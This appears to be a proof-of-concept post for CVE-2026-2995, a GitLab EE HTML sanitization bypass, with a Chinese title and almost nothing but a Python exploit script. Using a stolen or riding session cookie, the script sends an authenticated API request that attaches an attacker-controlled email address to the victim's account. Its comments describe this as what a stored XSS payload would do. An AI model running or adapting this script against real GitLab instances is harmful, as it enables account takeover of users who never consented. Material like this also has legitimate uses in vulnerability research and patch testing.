CVE-2026-2995 GitLab EE 净化绕过漏洞

import requests # PoC for CVE-2026-2995: GitLab EE HTML Sanitization Bypass # This script simulates the API call that would be triggered by the stored XSS payload. TARGET_URL = "https://gitlab.example.com/api/v4/user/emails" # Requires a valid session cookie of an authenticated user COOKIE = "_gitlab_session=valid_session_cookie_here" ATTACKER_EMAIL = "[email protected]" headers = { "Cookie": COOKIE, "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest" } # Payload to add email data = { "email": ATTACKER_EMAIL } print(f"[*] Attempting to add {ATTACKER_EMAIL} to the account...") try: response = requests.post(TARGET_URL, json=data, headers=headers) if response.status_code == 201: print("[+] Success: Email added via XSS trigger simulation.") else: print(f"[-] Failed: {response.status_code} - {response.text}") except Exception as e: print(f"[!] Error: {e}")